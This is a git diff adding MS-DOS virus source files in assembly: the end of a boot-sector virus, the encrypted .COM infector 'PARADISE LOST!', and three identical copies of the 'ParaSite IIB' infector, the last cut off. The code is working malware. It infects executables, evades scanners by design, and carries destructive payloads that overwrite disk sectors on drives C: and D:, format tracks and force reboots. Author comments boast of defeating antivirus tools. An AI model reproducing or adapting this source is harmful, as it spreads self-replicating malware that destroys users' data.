shl dl,1 + jc searchstuff + add ax,1D1Dh + push ax + inc tempsave3 + db 73h, 01h ; jnc $+3 + db 0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2 + xchg bp,ax + add al,0A1h + xchg bx,ax + add al,8Eh + sar bl,1 + add dh,[bp+si] + clc + ret + ;db 95h, 04h,0A1h, 93h, 04h, 8Eh + ;db 0D0h,0FBh, 02h, 32h,0F8h,0C3h + +; Comment mode ON + +readroot: + mov r_or_w_root,2 ; set action code + jmp short do_rw_root ; easier to do w/ + nop ; mov ah, 2 +writeroot: + mov r_or_w_root,3 + jmp short do_rw_root ; this is somewhat useless + nop +do_rw_root: + mov dh,0 ; head 0 + mov dl,curdrive + mov cx,6 ; sector 6 + mov ah,r_or_w_root + mov al,4 ; 4 sectors + mov bx,offset readbuffer + call doint13h + jc exit_rw_root ; quit on error + mov cx,1 + mov dh,1 ; head 1 + mov ah,r_or_w_root + mov al,3 + add bx,800h + call doint13h + +exit_rw_root: + retn + +doint13h: + mov tempsave1,ax + mov tempsave2,bx + mov tempsave3,cx + mov tempsave4,dx + mov cx,4 + +doint13hloop: + push cx + mov ah,0 ; Reset disk + int 6Dh + jc errordoingint13h + mov ax,tempsave1 + mov bx,tempsave2 + mov cx,tempsave3 + mov dx,tempsave4 + int 6Dh ; int 13h + jnc int13hsuccess +errordoingint13h: + pop cx + loop doint13hloop + + stc ; indicate error + retn +int13hsuccess: + pop cx + retn + + db 0, 0, 0 +; Part 4 of the virus starts here +tempstorecx dw 3 +readwritecurrentdata dw 301h + +writevirus: + call FATManip + jc exitwritevirus + mov cursector,1 + mov curhead,0 + mov bx,offset readbuffer + call readcurrent + mov bx,offset readbuffer + mov ax,firstsector + mov cursector,ax + mov ah,firsthead + mov curhead,ah + call writecurrent + call calcnextsector + mov cx,5 + mov bx,200h +writeanothersector: + mov tempstorecx,cx + call writecurrent + call calcnextsector + add bx,200h + mov cx,tempstorecx + loop writeanothersector + + mov curhead,0 + mov cursector,1 + mov bx,0 + call writecurrent + clc ; indicate success +exitwritevirus: + retn + + +readcurrent: + mov readwritecurrentdata,201h + jmp short doreadwrite + nop +writecurrent: + mov readwritecurrentdata,301h + jmp short doreadwrite ; This is pointless. + nop +doreadwrite: + push bx + mov cx,4 + +tryreadwriteagain: + push cx + mov dh,curhead + mov dl,curdrive + mov cx,cursector + mov ax,readwritecurrentdata ; read or write? + int 6Dh ; int 13h + jnc readwritesuccessful + mov ah,0 ; reset disk + int 6Dh ; int 13h + pop cx + loop tryreadwriteagain + + pop bx + pop bx + stc ; Indicate error + retn +readwritesuccessful: + pop cx + pop bx + retn + + +calcnextsector: + inc byte ptr cursector ; next sector + cmp byte ptr cursector,0Ah + jne donecalculate ; finished calculations + mov byte ptr cursector,1 ; clear sector # + inc curhead ; and go to next head + cmp curhead,2 ; if not too large, + jne donecalculate ; we are done + mov curhead,0 ; otherwise clear head # + inc byte ptr cursector+1 ; and advance cylinder +donecalculate: + retn + + db 64h, 74h, 61h + +; read buffer starts here +; insert your favorite boot block below... +readbuffer: +brain ends + end diff --git a/MSDOS/Virus.MSDOS.Unknown.paralost.asm b/MSDOS/Virus.MSDOS.Unknown.paralost.asm new file mode 100644 index 00000000..a543d3be --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.paralost.asm @@ -0,0 +1,242 @@ +; VirusName : PARADISE LOST! +; Origin : Sweden +; Author : The Unforgiven +; Date : 20/12/93 + +; This is a "mutation", of Tormentor's .COM lession. I've modified +; some stuffs, but since I liked the .EXE infector better, I didn't +; cared too much about this one. + +; Anyway, this is a non-resident current directory (yuck!), infector +; of .COM programs. It've added a encryption routine, but it's nothing +; really to scream hurray for. + +; It's also a bit destructive, well, it's 5% chance at each run, that +; one of drive c: or d: gets kinda phucked up. This routine was as +; usual "stolen" from Nowhere Man of NuKE. I must admit I like it! + +; Scan/MSAV/CPAV and F-prot can't find as usual find shits! I think +; that ThunderByte AntiVirus heurtistic scanner found the infected +; files as "probably/possible" infected, I really dunno, you try it +; out by your self! + +; "We do not live forever, but mind never leaves our souls." (Dark Image). + +;============================================================================= +; **** PARADISE LOST! **** +;============================================================================= + + .model tiny + .radix 16 + .code + +Virus_Lenght EQU Virus_End-Virus_Start ; Lenght of virus. + + org 100 + +dummy_code: db 'M' ; Mark file as infected. + db 3 DUP(90) ; This is to simulate a infected prog. + ; Not included in virus-code. + +Virus_Start: call where_we_are ; Now we call the next bytes, just to + +; F-prot founded the 'lession -1'virus here in the unencrypted area, but by +; simple add the push si, and the extra pop, it compleatele screwed up, and +; couldn't found it as nothing!, HA! Eat dust, looser! + +where_we_are: push si + pop si ; Since the virus-code's address will + pop si + +;----------------------------------------------------------------------- +; Now we have to put back the original 4 bytes in the host program, so +; we can return control to it later: + add si,_4first_bytes-where_we_are + mov di,100 + cld + movsw + movsw +;------------------------------------------------------------------------ +; We have to use SI as a reference since files differ in size thus making +; virus to be located at different addresses. + + sub si,_4first_bytes-Virus_Start+4 + + call encrypt_decrypt ; differ from victim to victim. + jmp encryption_start ; a POP SI after a call will give us the + ; address which equals to 'where_we_are' + ; Very important. + write_virus: + call encrypt_decrypt + mov ah,40 ; Append file with virus code. + mov cx,offset Virus_Lenght + mov dx,si ; Virus_Lenght. + int 21 + call encrypt_decrypt + ret + + encryption_value dw 0 + encrypt_decrypt: + + mov di,offset encryption_start-virus_start + add di,si + mov cx,(end_of_encryption-encryption_start+1)/2 + + push bx + mov bx,offset encryption_value-virus_start + add bx,si + mov dx,word ptr [bx] + pop bx + + again: + xor word ptr cs:[di],dx + add di,2 + loop again + ret +;------------------------------------------------------------------------ +; Now we just have to find victims, we will look for ALL .COM files in +; the current directory. + +encryption_start: +;set_dta: +mov ah,1ah +lea dx,[si+offset dta-virus_start] +int 21h + mov ah,4e ; We start to look for a *.COM file +look4victim: mov dx,offset file_match-Virus_Start + add dx,si + int 21 + + jc no_victim_found + +; clear attribs: before open file + mov ax,4301h + xor cx,cx + lea dx,[si+virus_end+1eh] + int 21h + mov ax,3d02 ; Now we open the file. + lea dx,[si+offset DTA-virus_start+1eh] ;now also including + int 21 ; DTA. + jc cant_open_file ; If file couldn't be open. + + xchg ax,bx ; Save filehandle in bx +; (we could use MOV BX,AX but we saves one byte by using xchg ) + + mov ah,3f ; Now we read the first 4 bytes + mov cx,4 ; from the victim -> buffer + + mov dx,offset _4first_bytes-Virus_Start + add dx,si + ; We will then overwrite them with + int 21 ; a JMP XXXX to virus-code at end. + + jc read_error + + cmp byte ptr ds:[si+_4first_bytes-Virus_Start],'M' + jz sick_or_EXE ; Check if infected OR *.EXE + +; Almost all EXE files starts with 'M' and we mark the infected files by +; starting with 'M' which equals to DEC BP +; Now we just have to have one check instead of 2 (infected and *.EXE) + + mov ax,4202 ; Position file-pointer to point at + xor cx,cx ; End-of-File. + xor dx,dx ; Any writing to file will now APPEND it + int 21 ; Returns AX -> at end. + + sub ax,4 ; Just for the JMP structure. + + mov word ptr ds:[_4new_bytes+2],ax + ; Build new JMP XXXX to virus. + ; ( logic: JMP AX ) + + mov word ptr [si+encryption_value-virus_start],99 ; encryption_value. + call write_virus + +; +; mov ah,40 ; Append file with virus code. +; mov cx,offset Virus_Lenght +; mov dx,si ; Virus_Lenght. +; int 21 +; jc write_error + + + mov ax,4200 ; Position file-pointer to begin of file + xor cx,cx ; So we can change the first 3 bytes + xor dx,dx ; to JMP to virus. + int 21 + + mov ah,40 ; Write new 3 bytes. + mov cx,4 ; After this, executing the file will + mov dx,offset _4new_bytes-Virus_Start + add dx,si + ; result in virus-code executing before + int 21 ; original code. + jc write_error + +; then close the file. + mov ah,3e ; Close file, now file is infected. + int 21 ; Dos function 3E (close handle) + +Sick_or_EXE: mov ah,4f ; Well, file is infected. Now let's + jmp look4victim ; find another victim... + +write_error: ; Here you can test whats went wrong. +read_error: ; This is just for debugging purpose. +cant_open_file: ; These entries are equal to eachother +no_victim_found: ; but could be changed if you need to test something. + +; randomize: + mov ah,2ch ;get a new random number + int 21h ;5% chance of nuke + cmp dl,5 + ja real_quit + jmp which + +which: +mov ah,2ch +int 21h +cmp dl,50 +ja nuke_c +jmp nuke_d + +nuke_c: + cli ; + mov ah,2 ; 2=c: + cwd ; + mov cx,0100h ; + int 026h ; + JMP REAL_QUIT + +nuke_d: + cli + mov ah,3 ; 3=d: + cwd + mov cx,0100h + int 026h + jmp real_quit + +real_quit: + mov ax,100 ; Every thing is put back in memory, + push ax ; lets us RET back to start of program + ret ; and execute the original program. + +notes db '[PARADIS LOST!] (c) 93 The Unforgiven/Immortal Riot' +file_match db '*.COM',0 ; Pattern to search for. + +end_of_encryption: +_4first_bytes: ret ; Here we save the 4 first org. bytes + db 3 DUP(0) +; We have a ret here since this file isn't a REAL infection. + +_4new_bytes db 'M',0E9, 00, 00 ; Here we build the 4 new org. bytes +datestamp equ 24 ; Offset in DTA of file's date stamp +timestamp equ 22 ; Offset in DTA of file's time stamp +filename equ 30 ; Offset in DTA of ASCIIZ filename +attribute equ 21 ; Offset in DTA of file attribute + + + ; so our virus-code will be run first. +Virus_End EQU $ +dta db 42 DUP (?) + end dummy_code diff --git a/MSDOS/Virus.MSDOS.Unknown.parasite.903.asm b/MSDOS/Virus.MSDOS.Unknown.parasite.903.asm new file mode 100644 index 00000000..52d575cd --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.parasite.903.asm @@ -0,0 +1,418 @@ +;******************************************************************** +; - ParaSite Virus IIB +; By: Rock Steady +; Close to one year I created this Virus. As you can see it is quite +; old... Maybe too Old... But here it is... It Sucks... but its great +; for any virus beginner... Anyhow... +; NOTES: Simple COM infector. 10% of the time it reboots the system +; 20% it plays machine gun noices on the PC speaker... and +; 70% of the time is infects another COM file... Have fun... +;******************************************************************** +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG 100H + + +VCODE: JMP virus + + NOP + NOP ; To identify it as an Infected + NOP ; Program! + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat + CLD + MOV SI,DX + ADD SI,first_3 + JMP Rock_1 +Rock_2: + MOV DX,dta + ADD DX,SI + MOV AH,1AH + INT 21H + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + JMP Day_Of_Week +Rock_1: + MOV CX,3 + MOV DI,OFFSET 100H + REPZ MOVSB + MOV SI,DX + PUSH ES + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + JMP Rock_2 + +Day_Of_Week: + MOV AH,2AH ;Get System date! + INT 21H + CMP AL,1 ;Check to See if it's Monday! + JGE day_check ;Jump if later than Mondays + JMP Get_Time +day_check: + CMP AL,1 ;Check to see if it is the 1st + JA Get_Time ;If yes, create a MESS... + JMP Bad_Mondays ;If not, then go on with infecti +mess: + +Bad_Mondays: + MOV DL,2 ;The Formatting Tracks.. + MOV AH,05 + MOV DH,80h + MOV CH,0 + INT 13h + +Play_music: + MOV CX,20d ;Set number of Shots +new_shot: + PUSH CX ;Save Count + CALL Shoot + MOV CX,4000H +Silent: LOOP silent + POP CX + LOOP new_Shot + JMP mess + +SHOOT proc near ;The Machine Gun Noices... + MOV DX,140h + MOV BX,20h + IN AL,61h + AND AL,11111100b +SOUND: XOR AL,2 + OUT 61h,al + ADD dx,9248h + MOV CL,3 + ROR DX,CL + MOV CX,DX + AND cx,1ffh + OR CX,10 +WAITA: LOOP WAITA + DEC BX + JNZ SOUND + AND AL,11111100b + OUT 61h,AL + RET +Shoot Endp + +Get_Time: + MOV AH,2Ch ; Get System Time! + INT 21h ; + AND DH,0fh + CMP DH,3 + JB Play_music + CMP DH,3h + JA Find_Path + INT 19h + +go: + MOV AH, 47H + XOR DL,DL + ADD SI, OFFSET orig_path - OFFSET buffer - 8 + INT 21H + JC find_path + + MOV AH,3BH + MOV DX,SI + ADD DX, OFFSET root_dir - OFFSET orig_path + INT 21H + +infect_root: + MOV [BX+nam_ptr],DI + MOV SI,BX + ADD SI,f_ipec + MOV CX,6 + REPZ MOVSB + JMP hello + +find_path: + POP SI ; Seek and Destroy... + PUSH SI + ADD SI,env_str + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB +; +; The JNZ line specifies that if there is no PATH present, then we will +; along and infect the ROOT directory on the default drive. + + JNZ find_path ;If not path, then go to ROOT di + LOOP check_next_4 ;Go back and check for more char + POP SI ;Load in PATH again to look for + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc + MOV BX,SI + ADD SI,wrk_spc ;the File Handle + MOV DI,SI + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH + MOV DI,SI + MOV SI,ES:[DI+path_ad] + ADD DI,wrk_spc ;DI is the handle to infect! + + +move_subdir: + LODSB ;To tedious work to move into su + NOP + CMP AL,';' ;Does it end with a ; character? + JZ moved_one ;if yes, then we found a subdir + CMP AL,0 ;is it the end of the path? + JZ moved_last_one ;if yes, then we save the PATH + STOSB ;marker into DI for future refer + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;BX is where the virus data is + POP DS ;Restore DS + NOP + MOV [BX+path_ad],SI ;Where is the next subdir? + CMP CH,'\' ;Check to see if it ends in \ + JZ slash_ok ;If yes, then it's OK + MOV AL,'\' ;if not, then add one... + STOSB ;store the sucker + + + +slash_ok: + MOV [BX+nam_ptr],DI ;Move the filename into workspac + MOV SI,BX ;Restore the original SI value + ADD SI,f_spec ;Point to COM file victim + MOV CX,6 + REPZ MOVSB ;Move victim into workspace +hello: + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX is ... The File to infect + MOV CX,3 ;Attributes of Read Only or Hidd + INT 21H + JMP SHORT find_first +joe1: + JMP go + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirec + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1EH ;Mask to remove all but seconds + CMP AL,1EH ;60 seconds + JZ find_next + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] + PUSH SI + ADD SI,dta_nam + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV [SI+old_att],CX + MOV AX,OFFSET 4301H + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV AX,OFFSET 3D02H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + JNB opened_ok + JMP fix_attr + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + INT 21H + AND DH,7 + JMP infect + + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + JB fix_time_stamp + CMP AX,3 + JNZ fix_time_stamp + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV CX,AX + SUB AX,3 + MOV [SI+jmp_dsp],AX + ADD CX,OFFSET c_len_y + MOV DI,SI + SUB DI,OFFSET c_len_x + JMP CONT +JOE2: + JMP JOE1 +CONT: + MOV [DI],CX + MOV AH,40H + MOV_CX virlen + MOV DX,SI + SUB DX,OFFSET codelen + INT 21H + JB fix_time_stamp + CMP AX,OFFSET virlen + JNZ fix_time_stamp + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV AH,40H + MOV CX,3 + MOV DX,SI + ADD DX,jmp_op + INT 21H + +fix_time_stamp: + MOV DX,[SI+ol_date] + MOV CX,[SI+old_tim] + AND CX,OFFSET 0FFE0H + OR CX,1EH + MOV AX,OFFSET 5701H + INT 21H + MOV AH,3EH + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] + MOV DX,wrk_spc + ADD DX,SI + INT 21H + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + MOV BX,OFFSET count + CMP BX,0 + JB joe2 + POP CX + XOR AX,AX ;XOR values so that we will give + XOR BX,BX ;poor sucker a hard time trying + XOR DX,DX ;reassemble the source code if h + XOR SI,SI ;decides to dissassemble us. + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH ;Return back to the beginning + ;of the program + +vir_dat EQU $ + +Aurther DB "ParaSite IIB - By: Rock Steady" +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +count_ DW 0 +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +fspec_ DB '*.COM',0 +fipec_ DB 'COMMAND.COM',0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0 +orig_path DB 64 dup (?) +root_dir DB '\',0 +lst_byt EQU $ +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +f_ipec = fipec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat +count = count_ - vir_dat + CODE ENDS +END VCODE + diff --git a/MSDOS/Virus.MSDOS.Unknown.parasite.asm b/MSDOS/Virus.MSDOS.Unknown.parasite.asm new file mode 100644 index 00000000..52d575cd --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.parasite.asm @@ -0,0 +1,418 @@ +;******************************************************************** +; - ParaSite Virus IIB +; By: Rock Steady +; Close to one year I created this Virus. As you can see it is quite +; old... Maybe too Old... But here it is... It Sucks... but its great +; for any virus beginner... Anyhow... +; NOTES: Simple COM infector. 10% of the time it reboots the system +; 20% it plays machine gun noices on the PC speaker... and +; 70% of the time is infects another COM file... Have fun... +;******************************************************************** +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG 100H + + +VCODE: JMP virus + + NOP + NOP ; To identify it as an Infected + NOP ; Program! + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat + CLD + MOV SI,DX + ADD SI,first_3 + JMP Rock_1 +Rock_2: + MOV DX,dta + ADD DX,SI + MOV AH,1AH + INT 21H + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + JMP Day_Of_Week +Rock_1: + MOV CX,3 + MOV DI,OFFSET 100H + REPZ MOVSB + MOV SI,DX + PUSH ES + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + JMP Rock_2 + +Day_Of_Week: + MOV AH,2AH ;Get System date! + INT 21H + CMP AL,1 ;Check to See if it's Monday! + JGE day_check ;Jump if later than Mondays + JMP Get_Time +day_check: + CMP AL,1 ;Check to see if it is the 1st + JA Get_Time ;If yes, create a MESS... + JMP Bad_Mondays ;If not, then go on with infecti +mess: + +Bad_Mondays: + MOV DL,2 ;The Formatting Tracks.. + MOV AH,05 + MOV DH,80h + MOV CH,0 + INT 13h + +Play_music: + MOV CX,20d ;Set number of Shots +new_shot: + PUSH CX ;Save Count + CALL Shoot + MOV CX,4000H +Silent: LOOP silent + POP CX + LOOP new_Shot + JMP mess + +SHOOT proc near ;The Machine Gun Noices... + MOV DX,140h + MOV BX,20h + IN AL,61h + AND AL,11111100b +SOUND: XOR AL,2 + OUT 61h,al + ADD dx,9248h + MOV CL,3 + ROR DX,CL + MOV CX,DX + AND cx,1ffh + OR CX,10 +WAITA: LOOP WAITA + DEC BX + JNZ SOUND + AND AL,11111100b + OUT 61h,AL + RET +Shoot Endp + +Get_Time: + MOV AH,2Ch ; Get System Time! + INT 21h ; + AND DH,0fh + CMP DH,3 + JB Play_music + CMP DH,3h + JA Find_Path + INT 19h + +go: + MOV AH, 47H + XOR DL,DL + ADD SI, OFFSET orig_path - OFFSET buffer - 8 + INT 21H + JC find_path + + MOV AH,3BH + MOV DX,SI + ADD DX, OFFSET root_dir - OFFSET orig_path + INT 21H + +infect_root: + MOV [BX+nam_ptr],DI + MOV SI,BX + ADD SI,f_ipec + MOV CX,6 + REPZ MOVSB + JMP hello + +find_path: + POP SI ; Seek and Destroy... + PUSH SI + ADD SI,env_str + LODSB + MOV CX,OFFSET 8000H + REPNZ SCASB + MOV CX,4 + +check_next_4: + LODSB + SCASB +; +; The JNZ line specifies that if there is no PATH present, then we will +; along and infect the ROOT directory on the default drive. + + JNZ find_path ;If not path, then go to ROOT di + LOOP check_next_4 ;Go back and check for more char + POP SI ;Load in PATH again to look for + POP ES + MOV [SI+path_ad],DI + MOV DI,SI + ADD DI,wrk_spc + MOV BX,SI + ADD SI,wrk_spc ;the File Handle + MOV DI,SI + JMP SHORT slash_ok + +set_subdir: + CMP WORD PTR [SI+path_ad],0 + JNZ found_subdir + JMP all_done + + +found_subdir: + PUSH DS + PUSH SI + MOV DS,ES:2CH + MOV DI,SI + MOV SI,ES:[DI+path_ad] + ADD DI,wrk_spc ;DI is the handle to infect! + + +move_subdir: + LODSB ;To tedious work to move into su + NOP + CMP AL,';' ;Does it end with a ; character? + JZ moved_one ;if yes, then we found a subdir + CMP AL,0 ;is it the end of the path? + JZ moved_last_one ;if yes, then we save the PATH + STOSB ;marker into DI for future refer + JMP SHORT move_subdir + +moved_last_one: + MOV SI,0 + +moved_one: + POP BX ;BX is where the virus data is + POP DS ;Restore DS + NOP + MOV [BX+path_ad],SI ;Where is the next subdir? + CMP CH,'\' ;Check to see if it ends in \ + JZ slash_ok ;If yes, then it's OK + MOV AL,'\' ;if not, then add one... + STOSB ;store the sucker + + + +slash_ok: + MOV [BX+nam_ptr],DI ;Move the filename into workspac + MOV SI,BX ;Restore the original SI value + ADD SI,f_spec ;Point to COM file victim + MOV CX,6 + REPZ MOVSB ;Move victim into workspace +hello: + MOV SI,BX + MOV AH,4EH + MOV DX,wrk_spc + ADD DX,SI ;DX is ... The File to infect + MOV CX,3 ;Attributes of Read Only or Hidd + INT 21H + JMP SHORT find_first +joe1: + JMP go + +find_next: + MOV AH,4FH + INT 21H + +find_first: + JNB found_file ;Jump if we found it + JMP SHORT set_subdir ;Otherwise, get another subdirec + +found_file: + MOV AX,[SI+dta_tim] ;Get time from DTA + AND AL,1EH ;Mask to remove all but seconds + CMP AL,1EH ;60 seconds + JZ find_next + CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON + JA find_next ;If too long, find another one + CMP WORD PTR [SI+dta_len],0AH ;Is it too short? + JB find_next ;Then go find another one + MOV DI,[SI+nam_ptr] + PUSH SI + ADD SI,dta_nam + +more_chars: + LODSB + STOSB + CMP AL,0 + JNZ more_chars + POP SI + MOV AX,OFFSET 4300H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV [SI+old_att],CX + MOV AX,OFFSET 4301H + AND CX,OFFSET 0FFFEH + MOV DX,wrk_spc + ADD DX,SI + INT 21H + MOV AX,OFFSET 3D02H + MOV DX,wrk_spc + ADD DX,SI + INT 21H + JNB opened_ok + JMP fix_attr + +opened_ok: + MOV BX,AX + MOV AX,OFFSET 5700H + INT 21H + MOV [SI+old_tim],CX ;Save file time + MOV [SI+ol_date],DX ;Save the date + MOV AH,2CH + INT 21H + AND DH,7 + JMP infect + + +infect: + MOV AH,3FH + MOV CX,3 + MOV DX,first_3 + ADD DX,SI + INT 21H ;Save first 3 bytes into the data area + JB fix_time_stamp + CMP AX,3 + JNZ fix_time_stamp + MOV AX,OFFSET 4202H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV CX,AX + SUB AX,3 + MOV [SI+jmp_dsp],AX + ADD CX,OFFSET c_len_y + MOV DI,SI + SUB DI,OFFSET c_len_x + JMP CONT +JOE2: + JMP JOE1 +CONT: + MOV [DI],CX + MOV AH,40H + MOV_CX virlen + MOV DX,SI + SUB DX,OFFSET codelen + INT 21H + JB fix_time_stamp + CMP AX,OFFSET virlen + JNZ fix_time_stamp + MOV AX,OFFSET 4200H + MOV CX,0 + MOV DX,0 + INT 21H + JB fix_time_stamp + MOV AH,40H + MOV CX,3 + MOV DX,SI + ADD DX,jmp_op + INT 21H + +fix_time_stamp: + MOV DX,[SI+ol_date] + MOV CX,[SI+old_tim] + AND CX,OFFSET 0FFE0H + OR CX,1EH + MOV AX,OFFSET 5701H + INT 21H + MOV AH,3EH + INT 21H + +fix_attr: + MOV AX,OFFSET 4301H + MOV CX,[SI+old_att] + MOV DX,wrk_spc + ADD DX,SI + INT 21H + +all_done: + PUSH DS + MOV AH,1AH + MOV DX,[SI+old_dta] + MOV DS,[SI+old_dts] + INT 21H + POP DS + +quit: + MOV BX,OFFSET count + CMP BX,0 + JB joe2 + POP CX + XOR AX,AX ;XOR values so that we will give + XOR BX,BX ;poor sucker a hard time trying + XOR DX,DX ;reassemble the source code if h + XOR SI,SI ;decides to dissassemble us. + MOV DI,OFFSET 0100H + PUSH DI + XOR DI,DI + RET 0FFFFH ;Return back to the beginning + ;of the program + +vir_dat EQU $ + +Aurther DB "ParaSite IIB - By: Rock Steady" +olddta_ DW 0 +olddts_ DW 0 +oldtim_ DW 0 +count_ DW 0 +oldate_ DW 0 +oldatt_ DW 0 +first3_ EQU $ + INT 20H + NOP +jmpop_ DB 0E9H +jmpdsp_ DW 0 +fspec_ DB '*.COM',0 +fipec_ DB 'COMMAND.COM',0 +pathad_ DW 0 +namptr_ DW 0 +envstr_ DB 'PATH=' +wrkspc_ DB 40h dup (0) +dta_ DB 16h dup (0) +dtatim_ DW 0,0 +dtalen_ DW 0,0 +dtanam_ DB 0Dh dup (0) +buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0 +orig_path DB 64 dup (?) +root_dir DB '\',0 +lst_byt EQU $ +virlen = lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_att = oldatt_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +f_ipec = fipec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat +count = count_ - vir_dat + CODE ENDS +END VCODE + diff --git a/MSDOS/Virus.MSDOS.Unknown.parsit2b.asm b/MSDOS/Virus.MSDOS.Unknown.parsit2b.asm new file mode 100644 index 00000000..52d575cd --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.parsit2b.asm @@ -0,0 +1,418 @@ +;******************************************************************** +; - ParaSite Virus IIB +; By: Rock Steady +; Close to one year I created this Virus. As you can see it is quite +; old... Maybe too Old... But here it is... It Sucks... but its great +; for any virus beginner... Anyhow... +; NOTES: Simple COM infector. 10% of the time it reboots the system +; 20% it plays machine gun noices on the PC speaker... and +; 70% of the time is infects another COM file... Have fun... +;******************************************************************** +MOV_CX MACRO X + DB 0B9H + DW X +ENDM + +CODE SEGMENT + ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE + ORG 100H + + +VCODE: JMP virus + + NOP + NOP ; To identify it as an Infected + NOP ; Program! + +v_start equ $ + + +virus: PUSH CX + MOV DX,OFFSET vir_dat + CLD + MOV SI,DX + ADD SI,first_3 + JMP Rock_1 +Rock_2: + MOV DX,dta + ADD DX,SI + MOV AH,1AH + INT 21H + PUSH ES + PUSH SI + MOV ES,DS:2CH + MOV DI,0 + JMP Day_Of_Week +Rock_1: + MOV CX,3 + MOV DI,OFFSET 100H + REPZ MOVSB + MOV SI,DX + PUSH ES + MOV AH,2FH + INT 21H + MOV [SI+old_dta],BX + MOV [SI+old_dts],ES + POP ES + JMP Rock_2 + +Day_Of_Week: + MOV AH,2AH ;Get System date! + INT 21H + CMP AL,1 ;Check to See if it's Monday! + JGE day_check ;Jump if later than Mondays + JMP Get_Time +day_check: + CMP AL,1 ;Check to see if it is the 1st + JA Get_Time ;If yes, create a MESS... + JMP Bad_Mondays ;If not, then go on with infecti +mess: + +Bad_Mondays: + MOV DL,2 ;The Formatting Tracks.. + MOV AH,05 